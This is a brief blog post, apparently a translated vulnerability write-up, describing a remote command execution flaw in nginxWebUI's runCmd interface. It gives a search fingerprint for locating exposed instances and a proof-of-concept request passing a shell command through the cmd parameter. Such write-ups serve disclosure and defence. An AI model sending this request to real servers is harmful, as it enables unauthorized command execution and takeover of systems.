Post

Nginxwebui Runcmd Remote Command Execution Vulnerability

Posted
By Rhy0z
1 min read
Nginxwebui Runcmd Remote Command Execution Vulnerability

nginxWebUI runCmd remote command execution vulnerability

Vulnerability Description

There is a remote command execution vulnerability in the nginxWebUI runCmd interface. The attacker can obtain server permissions and execute any commands through the vulnerability.

Vulnerability Impact

nginxWebUI

Network surveying and mapping

title=”nginxwebui”

Vulnerability reappears

Login page

img

Verify the request package

1

/AdminPage/conf/runCmd?cmd=id

img

This post is licensed under CC BY 4.0 by the author.